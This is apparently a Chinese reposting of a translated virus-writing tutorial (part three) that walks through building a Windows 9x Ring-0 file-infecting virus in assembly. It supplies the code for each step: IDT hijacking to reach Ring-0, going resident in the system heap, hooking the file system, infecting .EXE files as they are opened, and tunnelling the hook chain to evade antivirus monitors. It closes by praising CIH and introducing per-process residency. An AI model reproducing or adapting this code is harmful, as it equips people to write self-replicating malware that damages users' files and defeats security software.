收藏本站 收藏本站
积木网首页 - 软件测试 - 常用手册 - 站长工具 - 技术社区
积木学院 > 黑客技术 > 病毒漏洞 > 正文

病毒编写教程(三)

来源:互联摘选 日期:2003-10-28 10:12

+ 用法: SIDT 目标
+ 修改标记: 无
存储Interrupt Descriptor Table (IDT)寄存器到指定操作数中。

Clocks Size
Operands 808X 286 386 486 Bytes
mem64 - 12 9 10 5

0F 01 /1 SIDT mem64 Store IDTR to mem64

------------------------------------------------------------ ----------------

如果我们使用SIDT还不够清晰的话,它仅仅保存IDT的FWORD偏移(WORD:DWORD格式)。而且,如果我们知道了IDT在哪里,我们可以修改中断向量,并使它们指向我们的代码。展示给你的是Micro$oft的蹩脚的代码编写者。让我们继续我们的工作。在使中断向量改变后指向我们的代码(并把它们保存,以备以后恢复)之后,我们只要调用我们已经钩住(hook)的中断即可。如果看起来现在对你还不清晰,下面是通过修改IDT的方法来跳到Ring-0的代码。

;---------从这儿开始剪切----------------------------------------------------


.586p ; Bah... simply for phun.
.model flat ; Hehehe i love 32 bit stuph ;)

extrn ExitProcess:PROC
extrn MessageBoxA:PROC

Interrupt equ 01h ; Nothing special

.data

szTitle db "Ring-0 example",0
szMessage db "I'm alive and kicking ass",0

;----------------------------------------------------------- -------------------
;好了,这一段对你来说已经相当清晰了,是吗? :)
;----------------------------------------------------------- -------------------

.code

start:
push edx
sidt [esp-2] ; Interrupt table to stack
pop edx
add edx,(Interrupt*8)+4 ; Get interrupt vector

;----------------------------------------------------------- -------------------
; 这相当简单。SIDT,正如我以前解释过的,把IDT的地址保存到一个内存地址中,为了
; 我们的简单起见,我们直接使用了堆栈。接下来是一个POP指令,它把IDT的偏移地址
; 装载到寄存器(这里为EDX)中。下一行是仅仅为了定位我们想要的中断的偏移地址。这
; 就和在DOS下玩IVT一样...
;----------------------------------------------------------- -------------------

mov ebx,[edx]
mov bx,word ptr [edx-4] ; Whoot Whoot

;----------------------------------------------------------- -------------------
; 相当简单。它仅仅是为了将来恢复,把EDX指向的内容保存到EBX中
;----------------------------------------------------------- -------------------

lea edi,InterruptHandler

mov [edx-4],di
ror edi,16 ; Move MSW to LSW
mov [edx+2],di

;----------------------------------------------------------- -------------------
; 我以前是不是说过了它有多简单? :)这里,我们给EDI指向新中断处理的偏移地址,下
; 面的3行是把那个处理放到IDT中。为什么那样ROR呢?嗯,如果你使用ROR,SHR或SAR都
; 没关系,因为它仅仅把中断处理偏移的MSW(More Significant Word)移到LSW (Less
; Significant Word)中,然后保存。
;----------------------------------------------------------- -------------------

push ds ; Safety safety safety...
push es

int Interrupt ; Ring-0 comez hereeeeeee!!!!!!!

pop es
pop ds

;----------------------------------------------------------- -------------------
;Mmmm...很有意思。我们为了安全起见,把DS和ES压栈了,避免一些罕见的错误,但是
;它可以不用它工作,相信我。因为中断已经被补丁过了,除了设置这个中断之外,不用
;做其它任何事情了...现在我们已经在RING0里了,下面的代码是继续InterruptHandler
;----------------------------------------------------------- -------------------

mov [edx-4],bx ; Restore old interrupt values
ror ebx,16 ; ROR, SHR, SAR... who cares?
mov [edx+2],bx

back2host:
push 00h ; Sytle of MessageBox
push offset szTitle ; Title of MessageBox
push offset szMessage ; The message itself
push 00h ; Handle of owner
call MessageBoxA ; The API call itself

push 00h
call ExitProcess

ret

;----------------------------------------------------------- -------------------
;现在除了恢复原先的保存在EBX中的中断向量外,没做其它更多的事情。然后,我们
;返回代码到主体。(好了,只是假设是那样) ;)
;----------------------------------------------------------- -------------------

InterruptHandler:
pushad

; 下面是你的代码 :)

popad
iretd

end start

;---------从这儿为止剪切----------------------------------------------------

现在我们可以访问它了。我想所有人都可以做它,但是现在对于普通病毒在第一次访问Ring-0时又面临一个问题:我们为什么现在做呢?

% 在 Ring-0 下编写病毒 %
~~~~~~~~~~~~~~~~~~~~~~~~
我喜欢开始有一点点算法的教程,所以你将来我们该怎样在Ring-0编写病毒的时候碰到一个。

------------------------------------------------------------ ----------
1.测试运行的操作系统(OS):如果NT,跳过病毒并返回目录给主体
2.跳到Ring-0(IDT,VMM插入或调用门技术)
3.执行一个中断,它包含了感染代码。
3.1.获得一个放置病毒驻留的地方(开辟页或者在堆中)
3.2.把病毒放进去
3.3.钩住文件系统并保存旧的钩子
3.3.1.在FS Hook中,首先要保存所有的参数并修复ESP
3.3.2.参数压栈
3.3.3.然后检查系统是否试图打开一个文件,如果没有,跳过
3.3.4.如果试图打开,首先把文件名转化成ASCII码
3.3.5.然后检查是否是一个EXE文件。如果不是,跳过感染
3.3.6.打开,读文件头,操作,重写,添加和关闭
3.3.7.调用旧的钩子
3.3.8.跳过所有的返回到ESP的参数
3.3.9.返回
3.4.返回
4.恢复旧的中断向量
5.返回控制权给主体
------------------------------------------------------------ ----------
这个算法有一点点大,无论如何我可以使它更概要,但是我更愿意直接行动。OK,来吧,Let's go!

当文件运行时测试操作系统
~~~~~~~~~~~~~~~~~~~~~~~~
因为在NT下Ring-0有些问题(Super,解决它们!),我们必须我们所在的操作系统,如果不是Win9X平台就返回控制权给主体。好了,有很多方法去做这个:

+ 使用 SEH
+ 检查代码段的值

好了,我假设你已经知道了怎么玩SEH,对吗?我在另外一章已经解释了它的用法,所以现在是去读一下它的时候了:)关于第二个可能的事情,下面是代码:

mov ecx,cs
xor cl,cl
jecxz back2host

这个例子的解释:在Windows NT中,代码段总是小于100h,而在Win95/98中总是大一些,所以我们清除它的低位字节,而且如果它比100小,ECX将为0,反过来,如果它比100大,它将不会是0:)优化了,耶;)

%跳到Ring-0并执行中断%
~~~~~~~~~~~~~~~~~~~~~~
好了,已经在这个文档中的访问Ring-0部分解释了最简单的方法,所以关于这个我就不多说了:)

%我们已经在Ring-0里了...该做什么呢?%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
在Ring-0里面,代之API,我们有VxD服务。VxD 服务以下面的形式访问:

int 20h
dd vxd_service

vxd_service占两个字,MSW表明VxD号,而LSW表明我们从VxD中调用的函数。例如,我将使用VMM_PageModifyPermissions值:

dd 0001000Dh
↑_____↑_____ Service 000Dh _PageModifyPermissions
|_______ VxD 0001h VMM

所以,为了调用它,我们必须如下做:

int 20h
dd 0001000Dh

一个非常聪明的编码方式是编写一个宏来自动做这个,并使号码为EQUates。但是,那是你的选择。这个值是固定的,所以,在Win95和Win98中一样。不要担心,Ring-0的一个好处是你不需要在Kernel中或其它地方搜索偏移地址(当我们使用API的时候),因为没有必要做它,必须硬编码:)

这里我必须声明一个我们在编写一个Ring-0病毒的时候必须清除的非常重要的事情:int 20h和地址,我演示给你的访问VxD的函数,在内存中如下:

call dword ptr [VxD_Service] ; 回调服务

你可以认为有点愚蠢,但是,它非常重要,而且真的很痛苦,因为病毒用这些CALL而不是int和服务的双字偏移来复制到宿主,这使得病毒只能在你的计算机上执行,而不能在其他人的机器上运行:(在现实生活中,这个麻烦有许多解决方法。它们中的其中的一个,正如Win95.Padania所做的,在每个VxD调用后面修复它。另外的方法是:做一个所有的偏移地址的表来修复,直接做等等。下面是我的代码,而且你可以在我的Garaipena和PoshKiller中看到它:

VxDFix:
mov ecx,VxDTbSz ; 传送例程的次数
lea esi,[ebp+VxDTblz] ; 指向表的指针
@lo0pz:lodsd ; 把当前表的偏移地址装载到EAX中
add eax,ebp ; 加上delta 偏移
mov word ptr [eax],20CDh ; 放到那个地址中
mov edx,dword ptr [eax+08h] ; 获得 VxD 服务值
mov dword ptr [eax+02h],edx ; 并恢复它
loop @lo0pz ; 校正另外一个
ret

VxDTblz label byte ; 所有有VXD调用的偏移地址表
dd (offset @@1)
dd (offset @@2)
dd (offset @@3)
dd (offset @@4)
; [...] 所有其它的调用VxD函数的指针必须列在这里 :)

VxDTbSz equ (($-offset VxDTblz)/4) ; 个数

我希望你理解了每个我们调用的VxD函数必须有它的偏移地址。哦,我几乎忘了另外一件重要的事情:如果你正在使用我的VxD修正过程,你的VxDCall宏该怎样。下面给出:

VxDCall macro VxDService
local @@@@@@
int 20h ; CD 20 +00h
dd VxDService ; XX XX XX XX +02h
jmp @@@@@@ ; EB 04 +06h
dd VxDService ; XX XX XX XX +08h
@@@@@@:
endm

OK,现在我们需要一个驻留的地方。我个人偏向于放在net堆中,因为它很容易编写(懒人的规则!)。

------------------------------------------------------------ ---------------
** IFSMgr_GetHeap - 开辟一块net堆

+ 除非IFSMgr执行了SysCriticalInit,否则这个服务将不合法

+ 这个函数使用 C6 386 _cdecl 调用顺序

+ 入口 -> TOS - 需要大小

+ 出口 -> EAX - 堆块的地址,如果失败为0

+ 使用 C 寄存器 (eax, ecx, edx, flags)
------------------------------------------------------------ ---------------

以上是一些Win95 DDK的信息。让我们看看关于这个的例子:


InterruptHandler:
pushad ; Push 所有寄存器

push virus_size+1024 ; 我们需要的内存 (virus_size+buffer)
; 当你使用缓冲区的时候,更好
; 把它加上更多的字节
@@1: VxDCall IFSMgr_GetHeap
pop ecx

够清楚了吧?正如DDK所说的,如果它失败了,它将在EAX中返回给我们0,所以检查可能的失败。接下来的POP非常重要,因为VxD的大多数服务不修正堆栈,所以我们在调用VxD函数之前压栈的值还在堆栈中。

or eax,eax ; cmp eax,0
jz back2ring3


如果函数成功了,我们在EAX中得到了我们必须移动的病毒主体的地址,那么Let's go!

mov byte ptr [ebp+semaphore],0 ; Coz infection puts it in 1

mov edi,eax ; Where move virus
lea esi,ebp+start ; What to move
push eax ; Save memory address for later
sub ecx,1024 ; We move only virus_size
rep movsb ; Move virus to its TSR location ;)
pop edi ; Restore memory address

我们在一个内存地址中的是病毒,准备TSR的,对吗?而且在EDI中是病毒在内存中开始的地址,所以我们可以把它作为下个函数的delta offset:)好了,我们现在需要hook文件系统了对吗?OK,有一个函数可以做这个工作。很惊讶,是把? Micro$oft微软工程师为我们做了累活。

------------------------------------------------------------ ---------------
** IFSMgr_InstallFileSystemApiHook - 安装一个文件系统 api hook

这个服务为调用者安装一个文件系统api hook。这个hook在IFS manager 和一个FSD之间,钩子可以看任何IFS manager对FSD的任何调用。

这个函数使用C6 386 _cdecl 调用顺序
ppIFSFileHookFunc
IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc )

入口 TOS - 将要安装作为钩子的函数的地址

出口 EAX - 指向在这个链中的包含以前钩子的地址变量

使用 C 寄存器

------------------------------------------------------------ ---------------

清楚了吧?如果不,我希望你在看了一些代码之后,理解了它。好了,让我们钩住文件系统(hook FileSystem)...


lea ecx,[edi+New_Handler] ; (vir address in mem + handler offs)
push ecx ; Push it

@@2: VxDCall IFSMgr_InstallFileSystemApiHook ; Perform the call

pop ecx ; Don't forget this, guy
mov dword ptr [edi+Old_Handler],eax ; EAX=Previous hook

back2ring3:
popad
iretd ; return to Ring-3. Yargh

好了,我们已经看完了Ring-0病毒的安装部分。现在,我们必须编写文件系统(FileSystem)的处理部分了:)简单,但是否如你所想?:)

FileSystem Handler:真正有趣!!!

耶,下面是驻留感染它自己,但是我们在开始之前不得不做些事情。首先,我们必须对堆栈做一个安全拷贝,也就是说保存ESP内容到EBP寄存器中。然后,我们应该把ESP减去20h,为了修正堆栈指针。让我们看看一些代码:

New_Handler equ $-(offset virus_start)
FSA_Hook:
push ebp ; Save EBP content 4 further restorin
mov ebp,esp ; Make a copy of ESP content in EBP
sub esp,20h ; And fix the stack

现在,因为我们的函数要被系统用一些参数调用,我们应该push它们,就像原先的处理程序所做的。要push的参数从EBP+08h到EBP+1Ch,包含它们,并和IOREQ结构相关。

push dword ptr [ebp+1Ch] ; pointer to IOREQ structure.
push dword ptr [ebp+18h] ; codepage that the user string was
; passed in on.
push dword ptr [ebp+14h] ; kind of resource the operation is
; being performed on.
push dword ptr [ebp+10h] ; the 1-based drive the operation is
; being performed on (-1 if UNC).
push dword ptr [ebp+0Ch] ; function that is being performed.
push dword ptr [ebp+08h] ; address of the FSD function that
; is to be called for this API.
现在,我们已经把应该push的参数push到正确的地方了,所以对它们不要再担心了。现在,我们必须检查你将要操作的IFSFN函数。下面你得到的是最重要的小列表:

------------------------------------------------------------ -------------------
** 传送给 IFSMgr_CallProvider 的IFS函数ID

IFSFN_READ equ 00h ; read a file
IFSFN_WRITE equ 01h ; write a file
IFSFN_FINDNEXT equ 02h ; LFN handle based Find Next
IFSFN_FCNNEXT equ 03h ; Find Next Change Notify
IFSFN_SEEK equ 0Ah ; Seek file handle
IFSFN_CLOSE equ 0Bh ; close handle
IFSFN_COMMIT equ 0Ch ; commit buffered data for handle
IFSFN_FILELOCKS equ 0Dh ; lock/unlock byte range
IFSFN_FILETIMES equ 0Eh ; get/set file modification time
IFSFN_PIPEREQUEST equ 0Fh ; named pipe operations
IFSFN_HANDLEINFO equ 10h ; get/set file information
IFSFN_ENUMHANDLE equ 11h ; enum file handle information
IFSFN_FINDCLOSE equ 12h ; LFN find close
IFSFN_FCNCLOSE equ 13h ; Find Change Notify Close
IFSFN_CONNECT equ 1Eh ; connect or mount a resource
IFSFN_DELETE equ 1Fh ; file delete
IFSFN_DIR equ 20h ; directory manipulation
IFSFN_FILEATTRIB equ 21h ; DOS file attribute manipulation
IFSFN_FLUSH equ 22h ; flush volume
IFSFN_GETDISKINFO equ 23h ; query volume free space
IFSFN_OPEN equ 24h ; open file
IFSFN_RENAME equ 25h ; rename path
IFSFN_SEARCH equ 26h ; search for names
IFSFN_QUERY equ 27h ; query resource info (network only)
IFSFN_DISCONNECT equ 28h ; disconnect from resource (net only)
IFSFN_UNCPIPEREQ equ 29h ; UNC path based named pipe operation
IFSFN_IOCTL16DRIVE equ 2Ah ; drive based 16 bit IOCTL requests
IFSFN_GETDISKPARMS equ 2Bh ; get DPB
IFSFN_FINDOPEN equ 2Ch ; open an LFN file search
IFSFN_DASDIO equ 2Dh ; direct volume access

--- ------------------------------------------------------------ ----------------

对我们来说的第一件事,我们感兴趣的唯一的函数是24h,那就是说打开。系统几乎每时每刻都在调用那个函数,所以对它没有任何问题。为这个编码就和你能想象的一样简单:)

cmp dword ptr [ebp+0Ch],24h ; Check if system opening file
jnz back2oldhandler ; If not, skip and return to old h.

现在开始有意思的。我们知道这里系统请求文件打开,所以现在该我们了。首先,我们应该检查我们是否在进行我们自己的调用...简单,仅仅加一个小变量,它将出现一些问题。Btw,我几乎忘了,获得delta offset :)

pushad
call ring0_delta ; Get delta offset of this
ring0_delta:
pop ebx
sub ebx,offset ring0_delta

cmp byte ptr [ebx+semaphore],00h ; Are we the ones requesting
jne pushnback ; the call?

inc byte ptr [ebx+semaphore] ; For avoid process our own calls
pushad
call prepare_infection ; We'll see this stuff later
call infection_stuff
popad
dec byte ptr [ebx+semaphore] ; Stop avoiding :)

pushnback:
popad

现在我将继续介绍处理程序本身,然后,我将解释我是怎么做这些例程的,prepare_infection 和 infection_stuff。如果系统正在请求一个调用,我们就退出我们将要处理的例程,OK?现在,我们必须编写调用旧的FileSystem hook的例程。当你还记得(我假设你没有alzheimer),我们push了所有参数,所以我们该做的唯一的事情是装到寄存器中,旧地址没关系,然后调用那个内存位置。然后,我们把ESP加18h(为了能够获得返回地址),完了。你将最好看看一些代码,所以,你将看到:

back2oldhandler:
db 0B8h ; MOV EAX,imm32 opcode
Old_Handler equ $-(offset virus_start)
dd 00000000h ; here goes the old handler.
call [eax]
add esp,18h ; Fix stack (6*4)
leave ; 6 = num. paramz. 4 = dword size.
ret ; Return

感染准备
^^^^^^^^
这是Ring-0代码的主要部分的一方面。让我们现在看看Ring-0编写代码的细节。当我们在钩子处理中的时候,有两个调用,对吗?这不是必须的,但是我为了使代码更简单,那么做了,因为我喜欢使事情结构化。

在第一次调用的时候,我调用的prepare_infection仅仅因为一个原因做了一件事情。系统作为一个参数给我们的文件名,但是我们有一个问题。系统以UNICODE形式给我们的,而且对我们来说它没有什么用。所以,我们需要把它转换成ASCII码,对吗?我们有一个VxD服务可以为我们做这件事。它的名字:UniToBCSParh。下面是你喜欢的源代码。

prepare_infection:
pushad ; Push all
lea edi,[ebx+fname] ; Where to put ASCII file name
mov eax,[ebp+10h]
cmp al,0FFh ; Is it in UNICODE?
jz wegotdrive ; Oh, yeah!
add al,"@" ; Generate drive name
stosb
mov al,":" ; Add a :
stosb
wegotdrive:
xor eax,eax
push eax ; EAX = 0 -> Convert to ASCII
mov eax,100h
push eax ; EAX = Size of string to convert
mov eax,[ebp+1Ch]
mov eax,[eax+0Ch] ; EAX = Pointer to string
add eax,4
push eax
push edi ; Push offset to file name

@@3: VxDCall UniToBCSPath

add esp,10h ; Skip parameters returnet
add edi,eax
xor eax,eax ; Make string null-terminated
stosb
popad ; Pop all
ret ; Return

感染本身
^^^^^^^^
下面我将告诉你怎样到达直到你你必须的应用感染后的文件应该有的新的PE头和节头的值。但是,我不会解释怎么操作它们了,不是因为我懒,仅仅是因为这是Ring-0代码编写一章,而不是PE感染一章。这个部分和FileSystem 钩子代码的infection_stuff 部分相符。首先,我们必须检查我们将要操作的文件是否是一个.EXE文件还是其它不感兴趣的文件。所以,首先,我们必须在文件名字里寻找0值,它告诉我们它的末尾。这编写起来很简单:

infection_stuff:
lea edi,[ebx+fname] ; Variable with the file name
getend:
cmp byte ptr [edi],00h ; End of filename?
jz reached_end ; Yep
inc edi ; If not, search for another char
jmp getend
reached_end:

我们在EDI里是ASCII字符串里的0值,正如你知道的,它标志着字符串的结尾,也就是在这种情况下,文件名。下面是我们的主要检查,看看它是否是一个.EXE文件,如果它不是,跳过感染。我们还可以检查.SCR(Windows屏保),正如你知道的,它们也是可执行文件...这就是你的选择。下面给你一些代码:

cmp dword ptr [edi-4],"EXE." ; Look if extension is an EXE
jnz notsofunny

正如你能看到的,我比较了EDI-5次。

现在我们知道了那个文件是一个EXE文件:)所以该是移除它的属性,打开文件,修改相关域,关闭文件并恢复属性的时候了。所有这些函数由另外一个IFS服务完成,那就是IFSMgr_Ring0_FileIO。我没有找到关于全部这个的文档,总之也没有必要,它有很多的函数,正如我以前所说的,所有我们需要函数仅仅是为了进行文件感染。让我们VxD服务IFSMgr_Ring0_FileIO传送到EAX中的数值:

------------------------------------------------------------ -----------
;函数定义在ring-0的API函数列表中:
;说明:大多数函数是上下文相关的,除非被明确的规定了,也就是说,它们不使用当前线程的上下文。;R0_LOCKFILE是唯一的例外-它总是使用当前线程的上下文。

R0_OPENCREATFILE equ 0D500h ; Open/Create a file
R0_OPENCREAT_IN_CONTEXT equ 0D501h ; Open/Create file in current contxt
R0_READFILE equ 0D600h ; Read a file, no context
R0_WRITEFILE equ 0D601h ; Write to a file, no context
R0_READFILE_IN_CONTEXT equ 0D602h ; Read a file, in thread context
R0_WRITEFILE_IN_CONTEXT equ 0D603h ; Write to a file, in thread context
R0_CLOSEFILE equ 0D700h ; Close a file
R0_GETFILESIZE equ 0D800h ; Get size of a file
R0_FINDFIRSTFILE equ 04E00h ; Do a LFN FindFirst operation
R0_FINDNEXTFILE equ 04F00h ; Do a LFN FindNext operation
R0_FINDCLOSEFILE equ 0DC00h ; Do a LFN FindClose operation
R0_FILEATTRIBUTES equ 04300h ; Get/Set Attributes of a file
R0_RENAMEFILE equ 05600h ; Rename a file
R0_DELETEFILE equ 04100h ; Delete a file
R0_LOCKFILE equ 05C00h ; Lock/Unlock a region in a file
R0_GETDISKFREESPACE equ 03600h ; Get disk free space
R0_READABSOLUTEDISK equ 0DD00h ; Absolute disk read
R0_WRITEABSOLUTEDISK equ 0DE00h ; Absolute disk write
------------------------------------------------------------ -----------

迷人的函数,是吧?:)如果我们看看,它提醒了我们DOS int 21h函数。但是这个更好:)

好了,让我们保存旧的文件属性。正如你能看到的,这个函数是在我以前给你的列表中的,我们把这个参数(4300h)放到EAX中为了获得文件的属性到ECX中。所以,在那之后,我push它和文件名,它在ESI中。

lea esi,[ebx+fname] ; Pointer to file name
mov eax,R0_FILEATTRIBUTES ; EAX = 4300h
push eax ; Save it goddamit
VxDCall IFSMgr_Ring0_FileIO ; Get attributes
pop eax ; Restore 4300h from stack
jc notsofunny ; Something went wrong (?)

push esi ; Push pointer to file name
push ecx ; Push attributes

现在我们必须把它们去掉。没问题。设置文件属性的函数是,以前在IFSMgr_Ring0_FileIO中,但是现在是4301h。就像你在DOS下看到的这个值:)

inc eax ; 4300h+1=4301h :)
xor ecx,ecx ; No attributes sucker!
VxDCall IFSMgr_Ring0_FileIO ; Set new attributes (wipe'em)
jc stillnotsofunny ; Error (?!)

现在我们有一个没有属性的等着我们的文件了...我们该做什么呢?呵呵,我认为你是聪明的。让我们打开它!:)就像所有病毒中的这个部分一样,我们不得不调用IFSMgr_Ring0_FileIO,但是现在为打开文件传送到EAX中的是D500h。

lea esi,[ebx+fname] ; Put in ESI the file name
mov eax,R0_OPENCREATFILE ; EAX = D500h
xor ecx,ecx ; ECX = 0
mov edx,ecx
inc edx ; EDX = 1
mov ebx,edx
inc ebx ; EBX = 2
VxDCall IFSMgr_Ring0_FileIO
jc stillnotsofunny ; sh*t.

xchg eax,ebx ; Optimize a bit, sucka! :)

现在我们在EBX中的是打开文件的句柄,所以如果你在文件关闭之前不使用这个文件将会完美,好吗?:)现在该是你读PE文件头并保存它(和操作它)的时候了,然后更新文件头,附加上病毒...这里我将仅仅解释怎样处理PE头的属性,因为它是这个教程的另外一部分了,而且我不想太多重复。我打算解释如何把PE头保存到我们的缓冲区中。它相当简单:如果你还记得,PE头从偏移地址3Ch(当然是从BOF开始)开始。然后我们必须读4字节(这个3Ch处的DWORD),并在这个偏移地址处再次读,这次,是400h字节,足够处理整个PE头了。正如你能想象的,读文件中的函数是在很棒的IFSMgr_Ring0_FileIO中,而且你可以看到我以前给你的表中的正确号码,在R0_READFILE中。传递给这个函数的参数如下:

EAX = R0_READFILE = D600h
EBX = File Handle
ECX = Number of bytes to read
EDX = Offset where we should read
ESI = Where will go the read bytes

call inf_delta ; 如果你还记得,我们在EBX中是delta offset
inf_delta: ; 但是打开文件之后,我们在EBX中是文件的句柄
pop ebp ; 所以我们必须重新计算它。
sub ebp,offset inf_delta ;

mov eax,R0_READFILE ; D600h
push eax ; Save it for later
mov ecx,4 ; Bytes to read, a DWORD
mov edx,03Ch ; Where read (BOF+3Ch)
lea esi,[ebp+pehead] ; There goez the PE header offzet
VxDCall IFSMgr_Ring0_FileIO ; The VxDCall itself

pop eax ; restore R0_READFILE from stack

mov edx,dword ptr [ebp+pehead] ; Where the PE header begins
lea esi,[ebp+header] ; Where write the read PE header
mov ecx,400h ; 1024 bytes, enough for all PE head.
VxDCall IFSMgr_Ring0_FileIO

现在我们通过看它的标志要看看我们刚才打开的文件是否是一个PE文件。我们在ESI中的是指向我们放置PE头的缓冲区,所以只要把ESI中的第一个DWORD和PE,0,0作比较即可(或者简单的用WORD和PE进行比较) ;)

cmp dword ptr [esi],"EP" ; 它是PE吗?
jnz muthaf**ka

现在你该检查以前的感染了,如果以前已经感染过了,只要到诸如关闭文件的地方即可。正如我以前所说的,我将跳过修改PE头的代码,因为假设你已经知道怎么做了。好了,想象一些你已经合适地修改了缓冲区里的PE头(在我的代码里,变量叫做header)。现在该是把新的头写到PE文件里的时候了。寄存器里的值应该是和
R0_READFILE函数差不多的,我将这样写它们:

EAX = R0_WRITEFILE = D601h
EBX = File Handle
ECX = Number of bytes to write
EDX = Offset where we should write
ESI = Offset of the bytes we want to write

mov eax,R0_WRITEFILE ; D601h
mov ecx,400h ; write 1024 bytez (buffer)
mov edx,dword ptr [ebp+pehead] ; where to write (PE offset)
lea esi,[ebp+header] ; Data to write
VxDCall IFSMgr_Ring0_FileIO

我们已经写完了头。现在,我们只要添加病毒即可。我决定把它添在EOF目录中,因为我的修改PE的方式...好了,我是用这种方法做的。但是不要担心,应用的的感染方法是很简单的,因为我假设你已经理解它是怎么工作的了。就在附加病毒主体之前,记住我们应该修正所有的VxDCall,因为它们在调用的时候在内存中已经改变了。记住,我在这篇教程里面教给你的VxD修正过程。另外,当我们在EOF处添加的时候,我们应该知道它占多少字节。相当简单,我们在IFSMgr_Ring0_FileIO中有一个函数(为什么不呢!)来做这个工作:R0_GETFILESIZE让我们看看它的输入参数:

EAX = R0_GETFILESIZE = D800h
EBX = File Handle

在EAX中返回给我们的是句柄对应的文件的大小,也就是我们试图感染的文件。

call VxDFix ; Re-make all INT 20h's

mov eax,R0_GETFILESIZE ; D800h
VxDCall IFSMgr_Ring0_FileIO
; EAX = File size
mov edx,R0_WRITEFILE ; EDX = D601h
xchg eax,edx ; EAX = D601; EDX = File size
lea esi,[ebp+virus_start] ; What to write
mov ecx,virus_size ; How much bytez to write
VxDCall IFSMgr_Ring0_FileIO

只剩下一些事情去做了。只要关闭文件并恢复它的旧的属性即可。当然关闭文件的函数是我们热爱的IFSMgr_Ring0_FileIO了,现在是函数D700h。让我们看看它的输入参数:

EAX = R0_CLOSEFILE = 0D700h
EBX = File Handle

现在是它的代码:

muthaf**ka:
mov eax,R0_CLOSEFILE
VxDCall IFSMgr_Ring0_FileIO

好了,只剩下一件事情去做了。恢复旧的属性。

stillnotsofunny:
pop ecx ; Restore old attributos
pop esi ; Restore ptr to FileName
mov eax,4301h ; Set attributes function
VxDCall IFSMgr_Ring0_FileIO

notsofunny:
ret

终于完了! :) 另外,所有的这些"VxDCall IFSMgr_Ring0_FileIO"最好在一个子例程中,用一个简单的call来调用它:它更优化了(如果你你使用我给你的VxDCall宏),它更好是因为只要把一个偏移放在VxDFix的表中就可以了。

%反VxD监视代码%
~~~~~~~~~~~~~~~
我必须不能忘记发现这个的人:Super/29A。此外,我应该解释这个东西是怎么回事。它和已经见过的InstallFileSystemApiHook服务有关,但是它没有被Micro$oft写成文档。InstallFileSystemApiHook服务返回给我们一个有意思的结构:

EAX + 00h -> Address of previous handler
EAX + 04h -> Hook_Info structure

而且正如你所想的,最重要的是Hook_Info 结构:

00h -> 钩子处理的地址, 这个结构的第一个
04h -> 先前钩子处理的地址
08h -> 先前钩子的Hook_Info的地址

所以,我们对这个结构进行递归搜索直到找到了第一个,被监视程序使用的链的顶部...然后我们必须修改它。代码?下面给出一部分 :)

; EDI = Points to virus copy in system heap

lea ecx,[edi+New_Handler] ; Install FileSystem Hook
push ecx
@@2: VxDCall IFSMgr_InstallFileSystemApiHook
pop ecx

xchg esi,eax ; ESI = Ptr actual hook
; handler
push esi
lodsd ; add esi,4 ; ESI = Ptr to Hook Handler
tunnel: lodsd ; EAX = Previous Hook Handler
; ESI = Ptr to Hook_Info
xchg eax,esi ; Very clear :)

add esi,08h ; ESI = 3rd dword in struc:
; previous Hook_Info

js tunnel ; If ESI < 7FFFFFFF, it was
; the last one :)
; EAX = Hook_Info of the top
; chain

mov dword ptr [edi+ptr_top_chain],eax ; Save in its var in mem
pop eax ; EAX = Last hook handler
[...]

如果你不懂,不要担心,这是第一次:想象一下我读懂Sexy的代码所花的时间!好了,我们已经把链顶存在一个变量里了。接下来的的代码片断是我们检查一个系统打开文件的请求,而且我们知道这个调用不是由我们的病毒所做的,只是在调用感染程序之前。


lea esi,dword ptr [ebx+top_chain] ; ESI = Ptr to stored variable
lodsd ; EAX = Top Chain
xor edx,edx ; EDX = 0
xchg [eax],edx ; Top Chain = NULL
; EDX = Address of Top Chain
pushad
call Infection
popad

mov [eax],edx ; Restore Top Chain

这个简单多了,啊?:)所有的概念("Hook_Info", "Top Chain", 等等)都是来自于Super,所以去惩罚一下他:)

%最后的话%
~~~~~~~~~~
我必须感谢3个在我编写第一个Ring-0的东东帮助过我的最重要的人:Super,Vecna和nIgr0(你们是好样的!)。好了,还有其它事情要说吗?呃...耶。Ring-0是我们在Win9X下的美梦,是的。但是总是有限制。如果我们,毒客们,找到了一个在系统中如NT或者将来的Win2000(NT5)下获取Ring-0特权的时候,就没关系了。Micro$oft将会做一个补丁或者一个Service Pack来修复所有这些可能的bug。无论如何,编写一个Ring-0病毒总是很有趣。对我来说经历确实有意思,并且帮助我知道了更多关于Windows内部结构的东西。系统几乎是胡乱的打开文件。只要看看其中的一个最多,最快的,传播最广的病毒是一个Ring-0病毒,CIH。


【每一线程驻留(Per-Process residency)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
一个用来讨论的非常有意思的话题:Per-Process residency,对所有的Win32平台都适用的一种方法。我已经把这一章从Ring-3那一章分离开来是因为我想它是一中进化,对于初学Ring-3来说也是稍微复杂了些。

%介绍%
~~~~~~
per-process residence首先由29A的Jacky Qwerty在1997年编写的。此外(对媒体来说,不是真正的-Win32.Jacky)它是第一个Win32病毒,它还是第一个Win32驻留病毒,使用从没见过的技术:per-process residence。那么你想知道"什么是per-process residence呢?"。我已经在DDT#1的一篇文章中解释了那个了,但是这里我将对这个方法作一个更深的分析。首先,你必须知道什么是Win32,和它的PE可执行文件是怎么工作的。当你调用一个API的时候,你将要调用一个由系统在运行期把Import Table(输入表)保存到内存的地址,这个输入表指向API在DLL中的入口点。为了作一个per-process驻留,你将要不得不对输入表做些手脚,并修改你想要钩住并指向你自己的代码的API地址值,这个代码能够处理指定的API,也就是说由API来处理感染文件。我知道这有一点点杂乱,但是正如在病毒代码编写的每一件事情中,开始总是看起来很难的,但是后面就非常简单了:)

--[DDT#1.2_4] ------------------------------------------------------------ ---

